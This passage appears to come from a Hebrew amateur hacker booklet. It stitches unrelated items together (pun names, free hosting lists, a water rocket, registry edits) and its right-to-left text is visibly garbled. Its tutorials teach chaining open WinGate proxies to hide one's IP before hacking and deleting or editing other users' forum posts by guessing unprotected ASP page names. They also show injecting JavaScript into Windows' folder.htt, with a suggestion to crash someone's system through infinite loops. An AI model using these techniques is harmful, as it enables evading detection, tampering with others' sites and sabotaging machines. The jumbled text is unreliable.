‫רופאת השיניים ‪ -‬חני חיים‬
‫הפסיכולוגית ‪ -‬עלמה נדבר‬
‫הבטוחה בעצמה ‪ -‬אלה מה‬
‫הליצן ‪ -‬מוקי יון‬
‫המקשקשת ‪ -‬שיר בוט‬
‫האצן ‪ -‬ברי צקלה‬
‫הירקן האתיופי ‪ -‬נגאתה בגמבה‬
‫הארכיאולוג ‪ -‬מיכה פר‬
‫הארכיאולוגית ‪ -‬ראומה מצאתי‬
‫המכוערת ‪ -‬מאיה פבה‬
‫הקצרנית ‪ -‬בקי צור‬
‫הרגועה ‪ -‬לולה חוץ‬
‫המסכן ‪ -‬בועז רולי‬
‫התקליטן ‪ -‬עדי ג'יי‬
‫וחבר שלו ‪ -‬איתן מיך‬
‫התקליטנית ‪ -‬שירה חרון‬
‫המלצר ‪ -‬מתי רצו‬
‫וחברו ‪ -‬מתי שתו‬
‫שחקן הכדורסל ‪ -‬טים סרולי‬
‫חברו לקבוצה ‪ -‬מיקי דרר‬
‫הכדורסלנית ‪ -‬בקי דרור‬
‫הפסיכולוגית ‪ -‬עלמה נדבר‬
‫הקוסמטיקאית ‪ -‬מרי טה‬
‫הקוסמטיקאי ‪ -‬מניקור‬
‫האסמתי ‪ -‬אלון נושם‬
‫המלצר ‪ -‬שימחה מוצים‬
‫הנהג ‪ -‬מוטי לוכים‬
‫רופאת השיניים ‪ -‬מרי דול‬
‫שחקן הכדורגל‪ -‬בני בדל‬
‫מר עולם ‪ -‬מיכה זק‬
‫‪Program44‬‬ ‫המכוערת ‪ -‬יפה לולה‬
‫שרתים שמחזיקים אתרים בחינם‬
‫‪ http://members.nana.co.il/user‬חמש מגה בית בלי פרסומות‬
‫‪admin/php‬‬

‫‪ http://www.magicpage.co.il‬עשר מגה‬

‫‪FTP‬‬ ‫‪http://angelfire.lycos.com‬‬
‫חמישים מגה בית ב‬

‫‪FTP http://dirtyfreehost.com‬ארבעים מגה ב‬

‫‪363‬‬
‫חמישים מגה בית ב‬FTP http://free.prohosting.com

ASP + CGI + SSI - FTP -‫ מגה יש פרסומות‬100 ‫ נותנים‬http://members.freewebz.com

50 M ‫ עם פרסומת‬http://www.50megs.com

ASP + CGI + SSI - FTP - 100M ‫ יש פרסומות‬http://www.bigsitecity.com

ASP - 30M ‫ בלי פרסומות‬http://www.brinkster.com

FTP + ASP - 30M http://www.cfm-resources.com

‫ כמה שרוצים עם בנרים‬http://www.crosswinds.net

20M http://www.doteasy.com

FTP -20M ‫ בלי פרסומות‬http://www.f2s.com

20M ‫ עם פרסומות‬http://www.freeservers.com

50M ‫ בנר בראש הדף‬http://www.freeyellow.com

ASP + CGI + SSI - FTP ‫ כמה שרוצים עם בנרים‬http://www.galaxy-citie.com

5M ‫ פרסומות קטנות‬http://www.geocities.com

500M ‫ עם פרסומות‬http://www.gizba.com

ASP + CGI + SSI - FTP - 100 M ‫ יש פרסומות‬http://www.inchaos.net

- ASP + CGI + SSI ‫כמה שרוצים אין פרסומות‬-FTP http://www.marhost.com

50 M http://www.microworld.com

100 M http://www.netcolony.com

FTP - 150 M http://www.topcities.com

FTP - 50 M ‫ עם פרסומות‬http://www.tripod.lycos.com

FTP - 50 M http://www.virtualave.net/

ASP - 20 M ‫ בלי פרסומות‬http://www.webhostme.com

FTP + ASP -30 M http://www.websamba.com

ASP + CGI + SSI - FTP - 25 M http://www.webweaver.nu/dom

364
‫‪ain.htm‬‬

‫‪ASP + CGI + SSI 50 M http://www.wwfcircuit.com/netw‬‬


‫‪ork‬‬

‫‪ASP + CGI + SSI - FTP - 25 M http://www1.domaindlx.com‬‬

‫‪HFM‬‬

‫לשליחת הודעות לפלאפון‬


‫‪http://www.peletext.co.il/peletext/send_message_form.asp‬‬

‫‪HFM‬‬

‫טיל מים‬
‫דבר ראשון לפני שנתחיל אני רוצה להגיד תודה לג'‪ .‬שהסביר לי איך לבנות את טיל המים‬
‫האכזרי הזה‪.‬‬

‫שימו לב כל מה שכתוב פה נכתב מילה במילה ממה שג'‪ .‬אמר לי ולכן הכל פה הוא אמיתי‬
‫והגיוני ביותר‪.‬‬

‫נ‪.‬ב ‪ -‬אני גם הוספתי פה מלה או שתיים אז יכול להיות שאלה טעויות שלי‪ .‬אבל הם לא חיוניות‬
‫לבנייה אז אל תדאגו ‪):‬‬

‫‪365‬‬
‫אז יאללה לעבודה‪.‬‬

‫חומרים‪:‬‬

‫‪ .1‬בקבוק ‪ 1.5‬ליטר‪.‬‬

‫‪ .2‬פקק שהם‪.‬‬

‫‪ .3‬מים‪.‬‬

‫‪ .4‬סיכת ניפוח כדורים (או אופניים ‪ ,‬זוהי אותה הסיכה ככה שזה לא משנה)‪.‬‬

‫‪ .5‬משאבת אופניים (ידנית) ‪ /‬משאבה של מכונית (חשמלית‪-‬עדיף)‪.‬‬

‫תהליך הבנייה‪:‬‬

‫לוקחים בקבוק ‪ 1.5‬ליטר וממלאים אותו מים בערך ‪ 0.25‬עד ‪ 0.5‬ליטר‪.‬‬

‫לוקחים פקק שעם שסוגר הרמטית את הבקבוק ותוקעים בו סיכה של ניפוח כדורים עד שהיא‬
‫יוצאת מהצד השני (של הפקק)‪.‬‬

‫סוגרים את הבקבוק עם הפקק ממש חזק ‪ ,‬מחברים את הסיכה למשאבת אופניים או משאבה‬
‫של מכונית ‪ ,‬מכוונים ומתחילים לנפח‪.‬‬

‫אחרי כמה שניות הבקבוק ישגר את עצמו בצורה חזקה למדי‪( .‬זה עף יותר גבוה מהבית שלי)‪.‬‬

‫ממה להיזהר‪:‬‬

‫תעשו לי אישית טובה תשתדלו לא להיות טפשים ולכוון את הבקבוק לעצמכם לפנים‪.‬‬

‫זה יכול להיות נורא כואב!!!‬

‫‪HaSaTaN‬‬

‫‪WinGates‬‬
‫א‪ .‬מצרכים‪:‬‬

‫‪ .1‬חיבור לאינטנרט (מומלץ!)‬


‫‪( WinGate scanner 2.2 .2‬לא חובה)‬
‫‪ .3‬את תוכנת הטלנט‬
‫‪ .4‬פנקס רשימות (‪)LOL‬‬

‫‪366‬‬
‫ב‪ .‬מה זה בעצם ‪?WinGate‬‬

‫‪ WInGate‬הוא בעצם חבילה של‪ :‬שרת ‪ proxy‬ושל‪ firewall :‬מתוחכם‪ ,‬כמו שניתן להתחבר אל‬
‫שרת ‪ Proxy‬כך ניתן להתחבר גם לשרת ‪ !WinGate‬החיבור יכול להיות מכל סוג‪Dial-Up :‬‬
‫רגיל‪ ,ADSL ,‬וכמובן ‪ ,ISDN, T1, DISH‬וכו'‪.‬‬
‫ג‪ .‬למה לי להשתמש בזה בכלל?‬

‫לאחר שתתחבר לשרת ה‪ WinGate -‬תוכל להתחבר לכל אתר ולכל רשת‪( ,‬עכשיו אתם‬
‫שואלים‪ ):‬אבל אני יכול לעשות את זה גם מהמחשב שלי‪ ,‬מה‪ windos shell -‬שלי!!??‬
‫אז ככה‪ ,‬נכון‪ ,‬באמת זה לא ההבדל‪ ,‬ההדבר האמיתי שחיוני ב‪ WinGate -‬זה "הסתרת ה‪IP -‬‬
‫שלך"‪ .‬כשאתה מתחבר לשרת ‪ WinGate‬ומישהו עוקב אחריך‪ ...‬הוא יראה רק את האי פי של‬
‫שרת ה‪ !WinGate -‬לכן לפני כל דבר שעושים שקשור להאקינג‪ ,‬חשוב להתחבר לשרת‬
‫‪!WinGate‬‬
‫הבעיה העיקרית היא‪ ,‬זה שיש שרתים שרושמים ‪ log's‬שלך‪ ,‬ושם כן (!!) אפשר למצוא את ה‪-‬‬
‫‪ IP‬האמיתי שלך (!!)‪ ,‬אז מה שעושים זה מתחברים לכמה שרתים ביחד‪ ,‬זה מבלבל את ה‪-‬‬
‫‪!LOG'S‬‬
‫ד‪ .‬איך מתחברים לזה?‬

‫נניח שיש לי כמה ‪ IP'S‬של שרתי ‪ ,WinGate‬נניח‪ ,‬ככה‪:‬‬

‫‪ >-‬יקרא בשם‪A :‬‬ ‫‪200.231.12.1‬‬


‫‪ >-‬יקרא בשם‪B :‬‬ ‫‪124.103.43.5‬‬
‫‪ >-‬יקרא בשם‪C :‬‬ ‫‪190.233.12.1‬‬
‫‪ >-‬יקרא בשם‪D :‬‬ ‫‪189.121.32.4‬‬
‫‪ >-‬יקרא בשם‪E :‬‬ ‫‪200.232.22.1‬‬

‫עכשיו נתחבר ל‪!A -‬‬


‫כנסו ל‪ ,Telnet -‬שמה לחצו על ‪ ,connect -> remote system‬ואז במקום של ה‪Host Name -‬‬
‫כתבו את ה‪ ,IP -‬במקום של הפורט כתבו ‪ ,23‬ואת התיבה השלישית תשאירו כמו שהיא‪.‬‬

‫הערה‬
‫הערה‪:‬‬
‫יש לוודא שב‪ terminal -> prefereces :‬מסומן ב‪ V -‬האפשרויות הבאות‪:‬‬
‫‪Loacl Echo‬‬
‫‪Block Cursor‬‬

‫וליד זה‪:‬‬
‫‪VT\100 ANSI‬‬
‫עכשיו‪ ,‬אחרי שהתחברתם יופיע לכם הדבר הבא‪:‬‬

‫<‪WinGate‬‬

‫זהו‪ ,‬אתם מחוברים ל‪ Wingate -‬אחד‪ ,‬בשביל להתחר לעוד‪ ,‬פשוט כתבו את מספר ה‪ IP -‬של‬
‫ה‪ WinGate -‬הבא‪ ,‬כך‪:‬‬
‫‪WinGate<124.103.43.5‬‬
‫והוא התחר לעוד אחד‪ ,‬וכך הלאה‪ ,‬תוכלו להתחבר למאות ‪!! WinGates‬‬

‫‪367‬‬
‫עכשיו‪ ,‬שימו לב‪ ,‬מה קרה כשהתחברנו ל‪ ,A -‬אתם צריכים לזכור שרק ‪ A‬יודע את ה‪ IP -‬שלנו‪,‬‬
‫‪ - B‬יודע רק את ה‪ IP -‬של ‪ ,A‬ו‪ C -‬יודע רק את ה‪ IP -‬של ‪ ,B‬ככה שככל שאתם מתחברים‬
‫ליותר ‪ - WinGates‬כך יהיה יותר קשה לעלות עליכם!‬
‫אני אישית ממליץ לכם שלא להתחבר ליותר מ‪( 6-‬גם זה נקרא די הרבה) כי זה יאט לכם את‬
‫האינטרנט (תקראו את הכתבה על ‪...)Proxies‬‬

‫בשביל להבהיר טוב יותר את העניין‪ ,‬נעשה ככה‪:‬‬

‫המחשב שלך ‪ >-‬ספק האינטרנט שלך ‪ >-‬שרת ‪ >- 1‬שרת ‪ >- 2‬שרת ‪ >- 3‬שרת ‪ >- 4‬שרת ‪5‬‬
‫‪ >-‬שרת ‪ >-6‬הקרבן‪...‬‬

‫כל אחד מהשרתים הוא שרת ‪ ,WinGate‬וכל שרת יודע רק את ה‪ IP -‬של השרת שמאחוריו‪.‬‬

‫ה‪ .‬כיצד אני יכול להשיג כתובות של ‪?WinGates‬‬

‫אוקי‪ ,‬אז כך‪ ,‬בשביל זה יש את ה‪ ,Wingate Sanner 2.2 -‬בפעם אחרונה שהורדתי אותו‬
‫(מזמן‪ )....‬הוא היה פה‪:‬‬
‫‪http://www.hotmanscave.com/filez/filez.html‬‬
‫אל תתפסו אותי על המילה‪ ,‬מקסימום תחפשו בגוגל!‬

‫ישנה עוד שיטה מפורסמת והיא‪ ,‬להיכנס לאחד מהחדרים של ‪ Dal-net‬ולחפש חדרים טובים‬
‫של האקינג‪ ,‬לכו לאופים שלהם‪ ,‬תעשו אליהם (תישרו לשמאל)‪:‬‬
‫‪>dns <nick/‬‬
‫ומה שתקבלו ‪ -‬קרוב לוודאי יהיה כתובת ‪ IP‬של שרת ‪ WinGate‬כלשהו‪...‬‬
‫שיטה חמודה‪ ,‬לא?‬
‫אה קיצקץ‪ ,‬תעשו מה שבא לכם בחיים‪ ,‬תשימו פס על כוללללם!‬

‫‪HaSaTaN‬‬

‫פריצה לפורומים‬
‫פריצה מתקדמת לפורומים‪:‬‬

‫טוב‪ ,‬היום נלמד פריצה מתקדמת לפורומים‪ .‬כשאני אומר פריצה מתקדמת לפורומים‬
‫אני לא מדבר על מציאת שם מסד הנתונים והורדה שלו (כי בדרך כלל האדמין של‬
‫הפורום משנה את שמו של מסד הנתונים)‪ ,‬אני גם כמובן לא מדבר על באגים אצל‬
‫פורומים שאפשר להכניס בהם קודי ‪ Html‬כמו למשל פורומי דיבורים‪ .‬מה שאנחנו‬
‫הולכים לעשות זה שימוש בפרמטרים מסויימים‪ .‬עד היום לא נמצאה דרך מלאה‬
‫לאבטח את זה‪ ,‬אבל זאת סוג הפריצה הכי מקצועית לפי דעתי לפורומים‪ .‬שוב אני‬

‫‪368‬‬
‫רוצה להזכיר לכם שכאן ייכתב טקסט שיוכל לתת לכם הרבה כוח וידע‪ .‬בידע הזה‬
‫תוכלו להשתמש באופן רע (התלהבות על כל הפורום שפרצתם אותו)‪ ,‬או שימוש טוב‬
‫בידע הזה (הודעה לאדמין על הדרך שבה אפשר לפרוץ והצעה לאבטח לו את הפורום‬
‫בלי בקשת תמורה)‪ .‬אני ממליץ לכולכם על האפשרות השנייה (‪ ,)White Hat‬בגלל‬
‫שהסיכוי שיכעסו עליכם הוא קטן יותר (וכך גם הסיכוי שתחטפו תביעה או איזה‬
‫צו מעצר אפילו)‪ .‬להיות ‪ White Hat Hacker‬זה גם עם יותר כבוד לפי דעתי‪,‬‬
‫ובנוסף לכל להיות ‪ White Hat Hacker‬נותן שם טוב לכל ההאקרים‪ ,‬בניגוד לכמה‬
‫האקרים שהם ‪ ,Black Hat‬שמוציאים שם רע להאקרים‪ .‬אני ממליץ לכולכם להשתמש‬
‫במידע כאן בשביל מטרות טובות ולא רעות‪ .‬טוב‪ ,‬בואו נתחיל!!!‬

‫איך הפורום בנוי‬

‫כדי לנסות ולפרוץ לפורום‪ ,‬אנחנו צריכים קודם כל להבין איך הפורום בנוי‪.‬‬
‫טוב‪ ,‬רוב הפורומים בנויים בשפת ‪( Asp‬צד שרת‪ .)Active Server Pages :‬ישנם‬
‫גם פורומים שבנויים בשפת ‪ Php‬שהיא גם צד שרת‪ ,‬אבל הפורומים האלה מעטים‪.‬‬
‫היום אנחנו נתבסס על פורומים בשפת ‪ .Asp‬טוב‪ ,‬אז איך בנוי הפורום? הפורום‬
‫בנוי מתקשור עם מסד נתונים (אבל איתו לא נעסוק היום)‪ .‬החלק שנעסוק בו הוא‬
‫עיבוד הטפסים על ידי דף ‪ .Asp‬טוב‪ ,‬הדף הופך את הטקסט הנתון בתוך אובייקט‬
‫מסויים למשתנה‪ ,‬שנכנס לדף ‪ Asp‬בתור פרמטר‪ .‬בואו נחשוב שאנחנו בפורום‪.‬‬
‫בפורום זה יש נושאי פורומים‪ ,‬כמו למשל‪ :‬מוזיקה‪ ,‬סרטים‪ ,‬מחשבים והכרויות‪.‬‬
‫עכשיו‪ ,‬כל נושא פורום כזה מקוטלג לפי מספר‪ .‬זה יהיה הפרמטר הראשון‪ .‬טוב‪,‬‬
‫עכשיו נחשוב על נושא ההודעה שנשלחה‪ .‬נושא ההודעה גם מעובד בדף ‪ ,Asp‬ולכן‬
‫גם הוא פרמטר‪ .‬עוד פרמטר אחרון שנעבוד עליו הוא מספר העמוד (מכיוון שיש‬
‫נושאים עם תגובות שעולות על הגובה המקסימלי של דף מסויים‪ ,‬לפעמים ישנם‬
‫נושאים שתופסים יותר מעמוד אחד)‪ .‬טוב‪ ,‬שלושה פרמטרים‪ ,‬כל אחד מהם מקוטלג‬
‫לפי מספר‪ .‬עכשיו נעבור להשגת המידע על כל אחד מהפרמטרים‪.‬‬

‫השגת המידע ההכרחי על הפרמטרים‬

‫טוב‪ ,‬עכשיו נשתמש במה שאנחנו יכולים לראות בשביל השגת המידע‪ .‬התהליך מאוד‬
‫פשוט‪ :‬כאשר אנחנו נכנסים לדף הראשי‪ ,‬אנחנו רואים את ארבעת הפורומים (אני‬
‫עדיין משתמש בנושאי הפורומים הקודמים‪ :‬מוזיקה‪ ,‬סרטים‪ ,‬מחשבים והכרויות)‪.‬‬
‫עכשיו‪ ,‬נגיד שאני רוצה לדעת מה הפרמטר של נושא הפורום מוזיקה‪ .‬עכשיו‪ ,‬כל‬
‫מה שצריך לעשות זה לקחת את העכבר‪ ,‬ללחוץ לחיצה ימנית על הקישור‪ ,‬ולראות‬
‫את הפרמטר על ידי לחיצה על מאפיינים‪ .‬אם הכתובת של הפורום שלנו היא‬
‫‪ ,http://www.forum.co.il‬אז כנראה אנחנו נראה לינק כזה שיהיה כתוב בו‪:‬‬
‫‪ .http://www.forum.co.il/ShowTopic.asp&ForumID=1‬תסתכלו במילים האחרונות‬
‫בקישור‪ .ForumID=1 :‬הפרמטר הראשון שלנו נקרא ‪ ,ForumID‬ובמקרה הזה אנחנו‬
‫יודעים שפורום מוזיקה מיוצג על ידי הערך ‪ .1‬טוב‪ ,‬נעבור הלאה‪ .‬עכשיו לאחר‬
‫שנכנסנו לפורום‪ ,‬נבדוק את ההודעה‪ .‬למשל‪ ,‬בפורום מוזיקה יש נושא הודעה‪ :‬מי‬
‫אוהב את מטאליקה? עכשיו‪ ,‬נעבוד על אותו עקרון‪ ,‬אנחנו נלחץ לחיצה ימנית‬
‫ונראה לאן הקישור מוביל‪ .‬נסתכל שוב ונראה פרמטר שאומר למשל ‪.TopicID=88‬‬
‫זהו נושא ההודעה שלנו‪ .‬אותו דבר עם העמוד‪ .PagePos=1 :‬עכשיו‪ ,‬כשיש לנו את‬
‫כל הפרמטרים הנכונים‪ ,‬אנחנו יכולים להתחיל עם הקטע הקשה‪.‬‬

‫תוכן הפריצה‬

‫עכשיו‪ ,‬לכל פעולה בפורום יש דף ‪ Asp‬שמבצע אותה‪ .‬עכשיו‪ ,‬הקטע המבאס באמת‬
‫זה שצריך למצוא את הדף‪ .‬עכשיו‪ ,‬בדרך כלל‪ ,‬אם אנחנו רוצים למחוק את ההודעה‬
‫אבל הפרמטר היה ‪ ,ShowTopic‬המחיקה של ההודעה תהיה בדרך כלל ‪.DeleteTopic‬‬
‫עכשיו‪ ,‬למשל אנחנו רוצים למחוק את הודעת הדוגמא מקודם‪ .‬כדי להציג אותה‪:‬‬
‫‪.http://www.forum.co.il/ShowTopic.asp&ForumID=1&TopicID=88&PagePos=1‬‬
‫עכשיו‪ ,‬זה הקישור להצגה של ההודעה‪ .‬הדף הוא‪ .ShowTopic.asp :‬כדי למחוק‪:‬‬

‫‪369‬‬
‫‪.http://www.forum.co.il/DeleteTopic.asp&ForumID=1&TopicID=88&PagePos=1‬‬
‫זה בתנאי שדף המחיקה הוא ‪ .DeleteTopic.asp‬עכשיו‪ ,‬אני אתן לכם כאן רשימה‬
‫של פעולות והדפים שבדרך כלל מבצעים אותם‪:‬‬

‫הצגת הודעה‬

‫‪ShowTopic, Show_Topic, DisplayTopic, Display_Topic‬‬

‫מחיקת הודעה‬

‫‪DeleteTopic, Delete_Topic, DelTopic, Del_Topic, EraseTopic‬‬

‫עריכת הודעה‬

‫‪EditTopic, Edit_Topic, EditMassage, EditMsg‬‬

‫‪Crossbow‬‬

‫פריצה לפריסל (משחק כלפים)‬


‫מעצבנים אותי משחקי קלפים‪ ...‬באמת באמת באמת! היום נראה איך פורצים למשחק‬
‫השנוא "פריסל"‪ .‬טוב‪ ...‬היום נשתמש בכלי שקוראים לו עורך הרג'יסטרי‪ ,‬שנקרא‬
‫באנגלית ‪ .Regedit‬הרג'יסטרי זה מסד נתונים ענקי ששומר בתוכו מידע על כל‬
‫התוכניות המותקנות והאפליקציות על המחשב שלכם‪ .‬טוב‪ ,‬כדי להפעיל‪ ,‬כנסו‬
‫לתפריט "התחל"‪ ,‬ואז לחצו על "הפעלה"‪ .‬כתבו שם ‪ ,regedit‬תלחצו אנטר‪ ,‬ואתם‬
‫בפנים! מה עכשיו? עכשיו‪ ,‬בצד שמאל יש את כל התיקיות והכל‪ ,‬נכון? אז פשוט‬
‫נכנסים לתיקייה‪:‬‬

‫‪370‬‬
‫‪\MY COMPUTER\HKEY_CURRENT_USER\Software\Microsoft\Windows‬‬
‫‪CurrentVersion\Applets\Freecell‬‬
‫ואז לוחצים פעם אחת על התיקייה ‪ .Freecell‬מצד ימין צריכים להיות תויות עם‬
‫ערכים מסויימים‪ .‬התוית "‪ "losses‬מסמנת הפסדים רצופים‪ .‬זה יראה משהו כמו‬
‫ארבעה אפסים‪ ,‬ואז מספר בעל שני ספרות‪ ,‬ואז עוד שני זוגות של שני אפסים‪.‬‬
‫נגיד‪ ,‬אם יש לנו ‪ 7‬הפסדים רצוף‪ ,‬אז זה יהיה‪ .0000 07 00 00 :‬לחצו פעמיים‬
‫על התווית‪ .‬לחצו פעמיים על הזוג של ההפסדים (‪ ,07‬במקרה הזה)‪ .‬כתבו‪ ,‬למשל‪,‬‬
‫‪ 09‬ואז תלחצו על כפתור "‪ ."OK‬פתחו מחדש את פריסל‪ ,‬ותלכו לסטטיסטיקה‪ ...‬יש‬
‫לי פה בעייה‪ ,‬שמעשר ומעלה זה מסובך יותר‪ .‬עשר מסומן כמו ארבעה אפסים‪ ,‬זוג‬
‫של מספרים ואותיות (אפס ‪ ,)A +‬ואחרי זה שלישייה של זוגות אפסים‪ .‬כדי לסמן‬
‫אחד עשרה‪ ,‬צריך להפוך את ‪ A‬לאות ‪ ,B‬וכן הלאה‪ ...‬טוב‪ ,‬בואו נעבור תווית‪.‬‬
‫התווית "‪ "wins‬זה מספר הנצחונות הרצופים‪ ,‬ופועלת כמו התווית הקודמת‪ .‬טוב‪,‬‬
‫זה מספיק בשביל להשוויץ לחברים שלכם ולהגיד שאתם אלופים בפריסל‪ ...‬פחח‪...‬‬

‫הערה אחרונה‪ :‬בתור מתכנת מנוסה‪ ,‬אני רוצה שכל מי שקורא שיבין משהו‪ :‬כאשר‬
‫המשתמש יוצא מתוכנה‪ ,‬כל המידע הנוכחי נאבד‪ ,‬כי מידע לא מרחף סתם ככה‪...‬‬
‫אז נגיד‪ ,‬כשאנחנו יוצאים מווינאמפ‪ ,‬יש לנו רשימת שירים‪ ,‬ובאופן מפתיע יש‬
‫את אותה רשימה כשאנחנו פותחים‪ ...‬איך זה קורה? המידע חייב להשמר‪ .‬השאלה‬
‫היא‪ ,‬איפה? והתשובה היא בתוך קובץ!!! אם תשימו לב‪ ,‬בתיקייה שבה ווינאמפ‬
‫מותקן‪ ,‬יש קובץ ששמו ‪ ,winamp.m3u‬שזאת הרשימה האחרונה‪ ...‬אם אתם לא‬
‫מאמינים‪ ,‬נסו לפתוח עם ‪ notepad‬את הקובץ‪ ...‬תהיה לכם הפתעה‪ ...‬עכשיו‪ ,‬אם‬
‫תחשבו טוב‪ ,‬כל משחק עם טבלת שיאים‪ ,‬כל מידע שנטען בזמן הפעלה‪ ,‬הכל נמצא‬
‫בתוך קובץ!!! פשוט צריך להתחיל לחטט ולבדוק‪ ...‬אם יש משהו שלא בתוך קובץ‪,‬‬
‫אז האופצייה השנייה היא הרג'יסטרי‪ .‬עושים חיפוש אוטומטי‪ ,‬ומשחקים קצת‪...‬‬
‫אבל להזהר מאוד עם רג'יסטרי‪ ,‬טעות אחת קטנה והלך המחשב‪...‬‬

‫‪Crossbow‬‬

‫באג ב ‪WINDOS‬‬
‫עוד באג שמצאתי במערכות ‪ ,Windows‬הפעם יצירת קובץ בלי שם‪ .‬אני עובד כרגע‬
‫על מערכת ‪ ,Windows 98‬אבל הצלחתי גם על מערכת ‪ ,Windows 95‬ואני מאמין‬
‫שיעבוד על כל גרסאות ‪ ...Windows‬טוב‪ ,‬בואו נתחיל‪ ...‬פותחים את הנוטפאד של‬
‫חברת ‪( Microsoft‬עושים "התחל"‪" ,‬הפעלה"‪ ,‬כותבים "‪ "Notepad‬ולוחצים אנטר)‪.‬‬
‫עכשיו‪ ,‬כותבים את תוכן הקובץ (כך שאתם מבינים שבדרך כלל קבצים חסרי שם‬
‫יהיו ‪ .)Plain Text‬עכשיו‪ ,‬אחרי שכתבנו‪ ,‬נלחץ על "קובץ"‪ ,‬ואז על "שמור"‪.‬‬

‫‪371‬‬
‫נכתוב בשם הקובץ רק את הסיומת של הקובץ (נקודה ‪ txt‬למשל)‪ .‬ותראו‪ ,‬אין שם‬
‫לקובץ!!! דרך אגב‪ ,‬הבאג עצמו הוא לא רק בתוך ‪ ,Notepad‬אלא בכל תוכנית‬
‫שבעצם משתמשת בפקד ‪ ,Microsoft Common Dialog‬שנמצאת בקובץ ‪,Comdlg32.ocx‬‬
‫יעני אפשר להשתמש בו בעצם בכל תוכנית ששומרת על ידי תיבת דו שיח של מערכת‬
‫‪( Windows‬וזה ברור שדווקא למערכת ‪ Windows‬יהיה באג כזה!!!)‪ .‬טוב‪ ,‬אם יש‬
‫לכם בעיות‪ ,‬או סתאאאאאאאם בראש שלכם לדבר‪ ,‬איומים ‪ 24‬שעות ביממה ייתקבלו‬
‫בסבבה לאייסיקיו‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫טריקים בטיקיות מיוחדות ב ‪WINDOS‬‬


‫בוינדוס‪ ,‬כידוע לכולנו‪ ,‬יש תיקיוץ מיוחדות‪ .‬התיקיות מיוחדות הן בדרך כלל‬
‫תיקיות המשפיעות על מערכת ההפעלה‪ ,‬כמו למשל הרשימה הבאה‪:‬‬

‫‪C:\Windows‬‬
‫‪C:\Windows\System‬‬
‫‪C:\Windows\System32‬‬

‫‪372‬‬
‫‪C:\Program Files‬‬

‫היום אנחנו נעבוד עם התיקייה האחרונה ברשימה‪ ,‬הלא היא ‪ .Program Files‬אתם‬
‫תצטרכו את הדברים הבאים כדי להבין מה עושים כאן‪:‬‬

‫‪ )1‬ידע בשפת ‪ ,Html‬וגם בסקריפטים כמו ג'אווה סקריפט‪.‬‬


‫‪ )2‬מערכת הפעלה ‪ Windows 98‬ומעלה‪.‬‬
‫‪ )3‬רצוי גם עורך ‪ Html‬טוב‪.‬‬

‫מתחילים‬

‫דבר ממש מגניב שיש במערכת ‪ ,Windows 98‬היא שהיא בנוייה כמו דפדפן אינטרנט‬
‫כדוגמת ‪ .Internet Explorer‬ממש‪ ,‬יש שורת כתובת‪ ,‬יש לחצנים מפגרים כדוגמת‬
‫לחצן "הבא"‪ .‬עכשיו‪ ,‬המבנה לא רק מזכיר דפי אינטרנט‪ ,‬הוא באמת דפים שנכתבו‬
‫בשפת ‪ !!!Html‬עכשיו‪ ,‬מכיוון ששפת ‪ Html‬לא דורשת שום קימפול ויש לה קוד‬
‫מקור פתוח ואפשר לשנות שם את הכל‪ ,‬נעשה את הדבר הבא‪ :‬נלך לתפריט "התחל"‪,‬‬
‫נשים ת'עכבר על "מאפיינים"‪ ,‬ומשם נעבור למאפיין "אפשרויות תיקייה"‪ .‬טוב‪,‬‬
‫עכשיו נלחץ על הכרטיסייה השנייה (שעליה כתוב "מראה" נראה לי)‪ ,‬ואז נסמן‬
‫את האופצייה של "הצג את כל הקבצים"‪ .‬סבבה‪ ,‬עכשיו‪ ,‬ניקח את העורך של שפת‬
‫‪ Html‬שלנו (אבל למי שאין יכול להשתמש בפנקס כתובות של וינדוס‪ ,)...‬ובעצם‬
‫לפתוח את הקובץ הבא בתוך העורך שלנו‪:‬‬

‫‪C:\Program Files\folder.htt‬‬

‫עכשיו‪ ,‬הקובץ נראה ככה (בערך‪ ,‬לי יש מערכת ‪ Windows 98‬אנגלית‪ ,)...‬אז אני רציתי להראות‬
‫לכם את הקוד מקור אבל זה עושה בעיותאז תראו לבד‬

‫אז‪ ,‬מה עושים?!?!?‬

‫פשוט מאוד! כל בנאדם יכול ישר לראות פה דרך לניצול מגניב לאללה!!! אפשר‬
‫לעשות משהו כמו לשים לולאות אינסופיות‪ ,‬לשים אלרטים‪ ,‬והכל על ידי עריכת‬
‫קובץ ושמירה!!! אשכרה אפשר לרסק לבנאדם ת'מערכת על ידי עריכה של הקובץ‬
‫הזה!!! בקיצר‪ ,‬אני ארשום את כאן את השורות הראשונות של הקובץ‪ ,‬אבל הפעם‬
‫עם שינוי קטן שהוספנו‪:‬‬

‫<!‪--‬‬
‫* ‪This file was automatically generated by Microsoft Internet Explorer 4.0‬‬
‫* ‪using the file %THISDIRPATH%\folder.htt (if customized) or‬‬
‫* ‪.)TEMPLATEDIR%\folder.htt (if not customized%‬‬
‫‪>--‬‬

‫<‪>html‬‬

‫‪373‬‬
link rel=stylesheet href="%TEMPLATEDIR%\webview.css"<
>"title="Windows
>head<
>-- allow references to any resources you might add to the folder --!<
>-- )a "webbot" is a special wrapper for FrontPage compatibility( --!<
>-- webbot bot="HTMLMarkup" tag="base" startspan --!<
>"\%base href="%THISDIRPATH<
>-- webbot bot="HTMLMarkup" endspan --!<

>"script language="JavaScript<
the next line is the ONLY difference from folder.htt //
;)"!alert ("hacker has been here
= "<b><font var L_Intro_Text
color=red>Warning</font></b><br><br>Modifying the contents of this folder
may cause your programs to stop working correctly.<br><br>To add or remove
programs, click Start, point to Settings, click Control Panel, and then click
;".><b>Add/Remove Programs</b

‫סיימנו‬

‫ תעלה‬,‫ מה שעשיתי מקודם היא שכל פעם שמישהו ייכנס לתיקייה‬,‫למי שלא הבין‬
‫ אני מאמין שאין בעייה‬,‫ בקיצר‬...Crossbow has been here ‫איזו הודעה שתגיד‬
‫ הנה עוד באג אחד במערכות וינדוס‬,‫ אז יאללה‬.‫לחשוב כאן על עוד אפשרויות‬
,‫ שלכם‬...‫שאפשר לנצל‬
Crossbow

SATAN ‫מציאת חורים באבטחה ע"י‬


‫ היום אתם תחשפו לראשונה לאחת הדרכים‬.‫היום זה היום שישנה את החיים שלכם‬
‫ זה‬Satan ,‫ דבר ראשון‬.Satan ‫ היום תלמדו על‬.‫שבה ההאקרים האמיתיים משתמשים‬
‫ זה‬Satan .‫ אלא תוכנית שמטרתה לזהות חורים באבטחה‬,‫לא איזה תוכנה מהגהנום‬
‫ כלי‬,‫ או בעברית‬,Security Administrators Tool for Analyzing Networks
‫ תוכנה זו משמשת לסריקת מחשבים ברשת כדי לגלות‬.‫למנהלי אבטחה לניתוח רשתות‬

374
